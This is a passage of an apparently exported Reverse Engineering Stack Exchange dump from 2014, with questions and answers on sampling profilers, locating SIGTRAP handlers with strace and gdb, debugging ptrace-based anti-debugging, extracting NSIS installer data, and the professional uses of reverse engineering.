   address 00153e48 found in&#xA;    _HEAP @ 150000&#xA;      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state&#xA;        00153e40 0084 0000  [07]   00153e48    00404 - (busy)    &#xA;    address 00154268 found in&#xA;    _HEAP @ 150000&#xA;      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state&#xA;        00154260 00a4 0000  [07]   00154268    00505 - (busy)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="245" LastEditDate="2014-10-15T07:49:18.623" LastActivityDate="2014-10-15T07:49:18.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6447" PostTypeId="2" ParentId="6389" CreationDate="2014-10-14T10:39:29.447" Score="1" Body="&lt;p&gt;The approach you describe is implemented in several profilers, usually under the name &lt;em&gt;sampling profiler&lt;/em&gt;. What it usually does is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;periodically (e.g. every 100ms) suspend the application&lt;/li&gt;&#xA;&lt;li&gt;get the current registers of each thread&lt;/li&gt;&#xA;&lt;li&gt;perform a quick stack trace using the captured ESP/EIP/EBP&lt;/li&gt;&#xA;&lt;li&gt;resume the application&lt;/li&gt;&#xA;&lt;li&gt;after the end of profiling, collate the stack traces, resolve addresses to source code lines, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-10-14T10:39:29.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6448" PostTypeId="1" AcceptedAnswerId="6451" CreationDate="2014-10-14T13:46:50.143" Score="2" ViewCount="957" Body="&lt;p&gt;I'm reversing a program that uses a lot of &lt;code&gt;BREAK&lt;/code&gt;/&lt;code&gt;int 3&lt;/code&gt; (Linux). I guess that the code contains something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void sigtrap_func(int sig) { (some stuff..) }&#xA;&#xA;int main()&#xA;{&#xA;  signal(SIGTRAP, sigtrap_func);&#xA;  (some stuff)&#xA;  asm(&quot;int 3&quot;);&#xA;  (and so on)&#xA;  asm(&quot;int 3&quot;);&#xA;&#xA;etc..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I replaced all &lt;code&gt;SIGTRAP&lt;/code&gt; by &lt;code&gt;NOP&lt;/code&gt;s and the program behave differently than with them. So, I'm sure that something is done inside the &lt;code&gt;sigtrap&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find this function just with the assembler ?&lt;/p&gt;&#xA;" OwnerUserId="9764" LastEditorUserId="53" LastEditDate="2014-10-14T20:14:56.967" LastActivityDate="2014-10-15T02:04:03.657" Title="Find sigtrap function" Tags="|linux|anti-debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6449" PostTypeId="2" ParentId="6434" CreationDate="2014-10-14T14:09:25.500" Score="0" Body="&lt;p&gt;UML diagrams, function traces, and data flow maps won't be able to produce a high-level architecture design specification for a complex system. No automated software exists to produce the type of design specification for which you're looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to read the existing code and documentation (or pay somebody else to do it), or to talk with the original developers/designers of the software.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-10-14T14:09:25.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6450" PostTypeId="2" ParentId="6444" CreationDate="2014-10-14T14:23:30.453" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.free-decompiler.com/flash/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JPEXS Free Flash Decompiler&lt;/a&gt; appears to have this functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.free-decompiler.com/flash/features.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.free-decompiler.com/flash/features.html&lt;/a&gt; --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Displaying ActionScript code on the left, p-code on the right&lt;/li&gt;&#xA;  &lt;li&gt;Clicking AS item hilights position in p-code and vice-versa&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LsJbx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-10-14T14:23:30.453" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6451" PostTypeId="2" ParentId="6448" CreationDate="2014-10-14T15:12:47.687" Score="6" Body="&lt;p&gt;That's where strace comes in handy. If i make your program compilable and compile it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat trap.c&#xA;#include &amp;lt;signal.h&amp;gt;&#xA;void sigtrap_func(int sig) { puts(&quot;trap&quot;); }&#xA;&#xA;int main()&#xA;{&#xA;  signal(SIGTRAP, sigtrap_func);&#xA;}&#xA;$ cc -o trap trap.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then run it with &lt;code&gt;strace&lt;/code&gt;, i'll get a list of all system calls the program executes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$strace -i ./trap &#xA;[      31076ad057] execve(&quot;./trap&quot;, [&quot;./trap&quot;], [/* 32 vars */]) = 0&#xA;... stuff omitted that loads dynamic libraries&#xA;[      3107632abe] rt_sigaction(SIGTRAP, {0x400504, [TRAP], SA_RESTORER|SA_RESTART, 0x31076329a0}, {SIG_DFL, [], 0}, 8) = 0&#xA;[      31076ad038] exit_group(0)        = ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see that &lt;code&gt;rt_sigaction&lt;/code&gt; (the system call that implements &lt;code&gt;signal()&lt;/code&gt;) gets called at &lt;code&gt;0x3107632abe&lt;/code&gt;, and sets the handler function to &lt;code&gt;0x31076329a0&lt;/code&gt;. Now is the time to start &lt;code&gt;gdb&lt;/code&gt;, and set breakpoints there (beware of ASLR though!).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-14T15:12:47.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6452" PostTypeId="1" CreationDate="2014-10-14T15:24:30.017" Score="8" ViewCount="2980" Body="&lt;p&gt;I'm looking for a good front-end to GDB and looks like Hopper is a good alternative. Unfortunately, I wasted several hours but still couldn't make it working with gdbserver. Here are the steps I'm following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that, I actually need to attach the GDB, I can't run the program using GDB for several reasons.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I run &lt;code&gt;hopper-gdb-server-v3&lt;/code&gt;. As far as I can see it's not possible to pass any parameters to this, it just doesn't care about arguments. So I think there's nothing to do wrong here.&lt;/li&gt;&#xA;&lt;li&gt;I run &lt;code&gt;hopper-v3&lt;/code&gt; and opening the ELF binary I want to reverse.&lt;/li&gt;&#xA;&lt;li&gt;I'm running &lt;code&gt;Show debugger screen&lt;/code&gt; and it wants me to choose GDB server. Unfortunately, the list is always empty.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am stuck at this point. Basically I can't select the &lt;code&gt;hopper-gdb-server-v3&lt;/code&gt; in the Hopper itself. I cannot see any documentation in its webpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with this?&lt;/p&gt;&#xA;" OwnerUserId="9767" LastEditorUserId="53" LastEditDate="2015-08-22T15:57:39.040" LastActivityDate="2016-10-22T12:24:22.527" Title="Hopper on Linux -- how to use GDBserver" Tags="|gdb|hopper|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6454" PostTypeId="2" ParentId="6448" CreationDate="2014-10-15T02:04:03.657" Score="1" Body="&lt;p&gt;Just like in your sample program, the signal handlers are installed using a &lt;code&gt;signal&lt;/code&gt; (or &lt;code&gt;sigaction&lt;/code&gt;) function. So you just need to find the call to that function and see what argument is passed to it. That argument will be the address of the signal handler.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-10-15T02:04:03.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6455" PostTypeId="1" AcceptedAnswerId="6458" CreationDate="2014-10-15T04:47:33.150" Score="39" ViewCount="7505" Body="&lt;p&gt;At the professional level, for what purpose is reverse software engineering used? What software is targeted and why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reasonably complex compiled code that's doing something novel, making meaningful insights into how that code operates via reverse engineering seems like it would be enormously intensive of expertise, labor, and time. In particular, I imagine that hiring competent assembly programmers is extremely difficult and possibly expensive. And yet, I haven't the foggiest idea where entities with the resources to do so would want to spend those resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my list of possibilities...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Writing malware&lt;/li&gt;&#xA;&lt;li&gt;Writing counter-malware&lt;/li&gt;&#xA;&lt;li&gt;Maybe analyzing competitors products?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's not a great list. What is the reality here? What sort of software justifies the expense to be reverse engineered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;See the comments on 0xC0000022L's answer for some refinement of the question.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9772" LastEditorUserId="9772" LastEditDate="2014-10-15T07:50:51.143" LastActivityDate="2018-06-25T14:38:01.023" Title="What are the targets of professional reverse software engineering?" Tags="|disassembly|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6456" PostTypeId="2" ParentId="6455" CreationDate="2014-10-15T06:47:56.713" Score="22" Body="&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Finding undocumented features of a product.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for instance for locating a registry key or setting to turn on a debug mode.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finding how exactly a poorly documented feature works.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Debugging&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sometimes i find myself loading my own software in IDA to find what code the compiler produced, either to find bugs, or to see how an optimization worked out.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cracking copy protection&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;keygens are usually created by reverse engineering an application's licensekey validation algorithm.&lt;/li&gt;&#xA;&lt;li&gt;sometimes a company may have lost licene codes to some ancient piece of software.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Evaluating the security of a closed source product.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify an existing product&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;like flashing your own custom rom to a phone.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Interface current products with ancient software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2014-10-15T08:59:30.953" LastActivityDate="2014-10-15T08:59:30.953" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6457" PostTypeId="2" ParentId="6455" CreationDate="2014-10-15T07:16:29.450" Score="5" Body="&lt;ol start=&quot;10&quot;&gt;&#xA;&lt;li&gt;Honing your skills and keeping up-to-date with them (as well as with using the tools).&lt;/li&gt;&#xA;&lt;li&gt;Curiosity. Yep, doesn't have to be purely goal-driven like 4. and 5. in Willem's answer.&lt;/li&gt;&#xA;&lt;li&gt;Establishing compatibility with a legacy product, file format or architecture. Motivation can be 11 in that case or 4 or 5 or possibly something completely different.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2014-10-15T07:38:47.487" LastActivityDate="2014-10-15T07:38:47.487" CommentCount="8" CommunityOwnedDate="2014-10-15T07:16:29.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="6458" PostTypeId="2" ParentId="6455" CreationDate="2014-10-15T07:55:25.427" Score="42" Body="&lt;p&gt;Reverse engineering is commonly used in many ways.  Here is a list of just some of the most common professional activities where reverse engineering is involved.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Malware research. Withouth doing reverse engineering, it's hard to determine what an actual piece of malware does, how and, more important, how to clean it or prevent infections.&lt;/li&gt;&#xA;&lt;li&gt;Plagiarism detection: Reverse engineering is often legally used to determine if company or particular X plagiarized code from company or particular Y.&lt;/li&gt;&#xA;&lt;li&gt;Forensics.&lt;/li&gt;&#xA;&lt;li&gt;Compatibility. Reverse engineering supported, and still does, many open source projects like Samba or Star/Libre/OpenOffice. Without professional (and hobbistic) reverse engineers, nobody would have been able to write a software like the previous ones as there was no specification available at all for the protocols or file formats involved. If you're using Libre/OpenOffice or MacOSX or Linux, you're actually using the result of the work of many reverse engineers during many years.&lt;/li&gt;&#xA;&lt;li&gt;Vulnerability research/development. In order to discover undocumented features, vulnerabilities or backdoors left by the company, programmers or a 3rd party, reverse engineering is naturally required.&lt;/li&gt;&#xA;&lt;li&gt;Modification of legacy programs. This is one of the most other common tasks I have seen in this field: company X bought program Y but the company producing it, Z, disappeared and they have no source code at all. That company X contracts reverse engineering services to fix bugs and/or adapt the old (dead) application for their own purposes. If the program was also protected, the reverse engineers would also need to first break the the copy protection.&lt;/li&gt;&#xA;&lt;li&gt;Analysing competitors products. Naturally, this is a very common thing. Specially when talking about hardware products. And it, by the way, happens in all fields. Do you think that Porsche doesn't reverse engineer Ferrari cars and the other way around?&lt;/li&gt;&#xA;&lt;li&gt;Source code recovery. Company X lost the source code of one of their programs/products for whatever reason and they only have the binaries. That company contracts reverse engineering services to reconstruct/recover the source code.&lt;/li&gt;&#xA;&lt;li&gt;Analysing foreign governments hardware and software. You get the idea.&lt;/li&gt;&#xA;&lt;li&gt;Binary patches development. Some products still evolve but the providing companies are very slow fixing bugs (Oracle comes to mind...) or simply don't care. In this case, reverse engineering services can be contracted to develop binary patches to be applied to the product in order to fix bugs or vulnerabilities (patches to be made again on each release).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I could continue writing down more professional task that reverse engineers often do, but I think this list gives you a general idea.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="245" LastEditDate="2018-06-25T14:38:01.023" LastActivityDate="2018-06-25T14:38:01.023" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="6459" PostTypeId="2" ParentId="6455" CreationDate="2014-10-15T07:55:56.870" Score="6" Body="&lt;ol start=&quot;13&quot;&gt;&#xA;&lt;li&gt;Writing cheats for games.&lt;/li&gt;&#xA;&lt;li&gt;Writing an anti-cheat for games.&lt;/li&gt;&#xA;&lt;li&gt;Looking for badly written code to exploit or to fix and patch it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2014-10-15T07:55:56.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6460" PostTypeId="2" ParentId="6455" CreationDate="2014-10-15T07:57:26.190" Score="10" Body="&lt;p&gt;As a professional Reverse Engineer I have reveresed for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Troubleshooting&lt;/li&gt;&#xA;&lt;li&gt;Exploit Development&lt;/li&gt;&#xA;&lt;li&gt;Malware Analysis&lt;/li&gt;&#xA;&lt;li&gt;Implementing badly documented API calls.&lt;/li&gt;&#xA;&lt;li&gt;Plagiarism , they knew of an undocumented Kernel call within the Nokia phonebase. Thus we reverse engineerd this and created a program that used this call as well.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Overall reversing increases your knowledge in programming. &lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-10-15T07:57:26.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6461" PostTypeId="2" ParentId="6444" CreationDate="2014-10-15T08:46:26.123" Score="0" Body="&lt;p&gt;This is how it works at .NET. When the method is compiled a table is generated that contains the information (including offset, length) to match MSIL code to their machine code counterparts. However not all MSIL instructions have meaningful machine code counterpart, instead the table contains the info to match a sequence of MSIL instructions (block) to the machine counterparts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access the table via Debugging or Profiler interface, or as I did, you can reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if such table exists in Flash, and if so is there a way to get it via documented function calls. But this should be one technique to consider.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-10-15T08:46:26.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6462" PostTypeId="1" CreationDate="2014-10-15T12:10:07.933" Score="2" ViewCount="1055" Body="&lt;p&gt;I know how to translate a virtual address to a physical address, but is it possible to take one desired VA and if you detect that it's PTE (or PDE or PTPE or PML4E) is not present to actually map it to a right physical address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take for example VA 0x30000 on an x86 non-PAE Windows system. Splitting it into 3 groups we have&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0000000000 | 0000110000 | 000000000000 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Page Directory Index = 0x0 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Page Table     Index = 0x30&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Physical Offset      = 0x0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We get PD's physical address from CR3 and discover that it's PDE has the Present bit cleared. &#xA;Is it possible to write in physical memory (at pd[pdi]) a valid PDE (in essence, set the Present bit) and then traverse all the tables (marking entries as present) and finally had the VA to be valid for a certain PA so that future attempts at translating it will be successful? &#xA;Can one even write directly to a physical address from a kernel module? &lt;/p&gt;&#xA;" OwnerUserId="8119" LastActivityDate="2016-05-20T01:21:59.667" Title="Map virtual addresses to physical addresses" Tags="|windows|memory|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6463" PostTypeId="1" AcceptedAnswerId="6464" CreationDate="2014-10-15T13:02:12.167" Score="3" ViewCount="4601" Body="&lt;p&gt;NISIS installers compress data using &lt;code&gt;bizp2&lt;/code&gt;, &lt;code&gt;lzma&lt;/code&gt; or &lt;code&gt;zlib&lt;/code&gt; -- I don't know if there are others algorithms--.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point in the installation process one of those algorithms has to be applied to certain buffer of data. Of course, that data was readed from the disk --contained into the installer--. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I debug a NISIS installer in order to know where the installer files are? What I have to look for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I can work with OllyDbg or IDAPro.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastEditorUserId="5875" LastEditDate="2014-10-15T13:22:02.030" LastActivityDate="2014-10-15T21:21:23.643" Title="How to debug a NSIS installer in order to find where the compressed data is?" Tags="|debugging|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6464" PostTypeId="2" ParentId="6463" CreationDate="2014-10-15T14:40:24.537" Score="5" Body="&lt;p&gt;Generally speaking, you can either detect when the data is read from the file (by monitoring functions as &lt;code&gt;ReadFile&lt;/code&gt;), or when it's being decompressed (by monitoring the decompression function once you find it). In some cases the program may read the compressed data directly and pass it to the decompression function, but in others it could read some chunk of file together with the header/metadata, parse that header, and then pass only the trailing compressed data to the decompressor. There is no single &quot;right way&quot; to figure out where exactly the compressed data is in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, NSIS is open-source and you can just look &lt;a href=&quot;http://nsis.sourceforge.net/Development_Files&quot;&gt;at the source code&lt;/a&gt; to see how it works. There are also &lt;a href=&quot;http://nsis.sourceforge.net/Can_I_decompile_an_existing_installer&quot;&gt;ready-made tools&lt;/a&gt; to extract files from NSIS installers.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-10-15T14:40:24.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6465" PostTypeId="2" ParentId="6463" CreationDate="2014-10-15T14:41:16.547" Score="2" Body="&lt;p&gt;Quick google yields &lt;a href=&quot;http://nsis.sourceforge.net/Can_I_decompile_an_existing_installer&quot; rel=&quot;nofollow&quot;&gt;Extract / decompile NSIS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a more general answer to finding embedded resources, try &lt;a href=&quot;http://exeinfo.atwebpages.com/&quot; rel=&quot;nofollow&quot;&gt;ExeInfo&lt;/a&gt; and its &quot;Rip&quot; feature which scans exe for various file type headers (PE, JPG, AVI....) and then allows to rip the found resources out.&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2014-10-15T14:41:16.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6466" PostTypeId="2" ParentId="6463" CreationDate="2014-10-15T15:26:32.897" Score="0" Body="&lt;p&gt;For NSIS installers, you can simply use 7-zip or UniExtract - &lt;a href=&quot;http://legroom.net/software/uniextract&quot; rel=&quot;nofollow&quot;&gt;http://legroom.net/software/uniextract&lt;/a&gt; to extract all the files in the NSIS installer&lt;/p&gt;&#xA;" OwnerUserId="1607" LastActivityDate="2014-10-15T15:26:32.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6467" PostTypeId="1" CreationDate="2014-10-15T15:27:28.617" Score="6" ViewCount="1656" Body="&lt;p&gt;I'm trying to understand a program. This programm implements an antidebug technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've understand so far, the father &lt;code&gt;ptrace&lt;/code&gt; a forked process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An the child does something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;some code&#xA;Int 3&#xA;some code&#xA;Int 3&#xA;some code&#xA;Int 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the father implements a kind of debugger because with &lt;code&gt;strace -i&lt;/code&gt; I see a lot of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[77b7457c] waitpid(2468, [{WIFSTOPPED(s) &amp;amp;&amp;amp; WSTOPSIG(s) == SIGTRAP}], __WALL) = 2468&#xA;[77b7457c] --- SIGCHLD (Child exited) @ 0 (0) ---&#xA;[77baf52c] ptrace(PTRACE_GETREGS, 2468, 0, 0x7fb68be4) = 0&#xA;[77baf52c] ptrace(PTRACE_SETREGS, 2468, 0, 0x7fb68be4) = 0&#xA;[77baf52c] ptrace(PTRACE_CONT, 2468, 0, SIG_0) = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It reminds me this document &lt;a href=&quot;http://www.alexonlinux.com/how-debugger-works&quot;&gt;http://www.alexonlinux.com/how-debugger-works&lt;/a&gt; where we found the same ideas: a child process, sending TRAP, catched by the father via ptrace calls, setting registers to the right value, then continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem now: How can I debug this &quot;debugger&quot;? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I bypass the ptrace, the child will get its SIGTRAP and stop.&lt;/li&gt;&#xA;&lt;li&gt;If I leave the ptrace, I can't use gdb&lt;/li&gt;&#xA;&lt;li&gt;If I bypass ptrace and use gdb with &lt;code&gt;set follow-fork-mode child&lt;/code&gt;, I can't follow how and where the TRAP is caught in father process because gdb handle it. And if I send &lt;code&gt;signal SIGTRAP&lt;/code&gt; the father detects it (how? that's one thing I want to understand) and terminates.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know that gdb can't follow both father and child, so is there a way to debug this program?&lt;/p&gt;&#xA;" OwnerUserId="9765" LastActivityDate="2014-11-04T15:14:19.553" Title="(linux) How to debug a &quot;debugger&quot;?" Tags="|gdb|anti-debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6469" PostTypeId="1" AcceptedAnswerId="6588" CreationDate="2014-10-15T15:44:13.473" Score="1" ViewCount="1806" Body="&lt;p&gt;How does &lt;code&gt;R.java&lt;/code&gt; work? In a compiled .apk file, does it contain all constants from the XML files prior to compilation? I've decompiled an app using several Java RE tools, and used &lt;code&gt;apktool&lt;/code&gt; to extract the resources (xml files, images and others). However, when rebuilding the project in Eclipse, the &lt;code&gt;R.java&lt;/code&gt; generated by Eclipse (in the &lt;code&gt;gen&lt;/code&gt; folder) does not match the original &lt;code&gt;R.java&lt;/code&gt; from the decompiled app. Is this a common occurrence when reversing android apps? In this case, the original R.java contains fields consistent with the rest of the code. However, this is not present in the generated R.java and hence this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decompilers I used are&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;http://www.android-decompiler.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;JEB&lt;/a&gt; (Commercial)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;https://github.com/skylot/jadx&quot; rel=&quot;nofollow noreferrer&quot;&gt;jadx&lt;/a&gt; (Open-source)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4BXHG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9782" LastEditorUserId="9782" LastEditDate="2014-10-16T04:25:29.970" LastActivityDate="2015-02-02T22:42:43.507" Title="R.java to xml file" Tags="|decompilation|android|java|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6470" PostTypeId="2" ParentId="6140" CreationDate="2014-10-15T16:10:12.857" Score="0" Body="&lt;p&gt;Since this apparently isn't a very well-known issue, all I can say is that version 2.01 has no such problems. My solution was to just switch to it.&lt;/p&gt;&#xA;" OwnerUserId="8346" LastEditorUserId="8346" LastEditDate="2014-12-26T14:38:27.380" LastActivityDate="2014-12-26T14:38:27.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6471" PostTypeId="2" ParentId="6377" CreationDate="2014-10-15T16:16:20.690" Score="0" Body="&lt;p&gt;One thing that I've failed to notice turned out to be crucial: this file wasn't generated by my copy of IDA, it was given to me by a friend as a helping resource. I've simply disassembled the very same exe with my IDA and the troublesome address is now correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i2Y5o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fK3Bo.png&quot; alt=&quot;http://i.imgur.com/AzHGbT1.png&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2014-10-15T16:16:20.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6472" PostTypeId="2" ParentId="6455" CreationDate="2014-10-15T16:44:27.247" Score="7" Body="&lt;p&gt;A key purpose in reverse engineering it to recover an abstract design of the artifact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A source program is an implementation of a concept.  It contains a huge amount of code/gates that achieve an effect, and then optimizations on top of that to achieve the effect reasonably well (space, time, heat, area, power, ...).   It is focused on good execution, not good documentation of the concepts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all well and fine for the running product.  But if you want understand the code you have (and you have made the mistake of throwing the design away [everybody has, don't get me started on the stupidity of this]), then abstracting away all that detailed implementation, leaving behind the abstract structure and computation, is extremely helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's technical paper on how to do this in a regular way, that I wrote on the topic (last century [!], still good IMHO):   &lt;a href=&quot;http://www.semdesigns.com/Company/Publications/WCRE97.pdf&quot; rel=&quot;nofollow&quot;&gt;Reverse Engineering is Reverse Forward Engineering&lt;/a&gt;.  This paper takes low level assembly code from a real time OS, and abstracts it back into the synchronization primitive it implements.  In essence what it says is, &quot;This concept was realized in the code like &lt;em&gt;this&lt;/em&gt; at &lt;em&gt;these&lt;/em&gt; places in the code&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This idea is partially derived from Rich and Water's famous(?) mid 1980's research on &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.18.3315&quot; rel=&quot;nofollow&quot;&gt; The Programmer's Apprentice&lt;/a&gt;.  In their case they were focused on finding realizations of abstractions in code, by doing what amounts to data flow graph matching. (There have been a variety of other papers and Ph.D. theses suggesting similar ideas).  My RE paper suggests grafting an entire design model on top of low level recognition.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My company recently has recently implemented Rich&amp;amp;Water's vision, for Dow Chemical, extracting process control models from low level industrial controller code.  Dow is using this to migrate legacy code that run chemical plants, to modern controllers.  See &lt;a 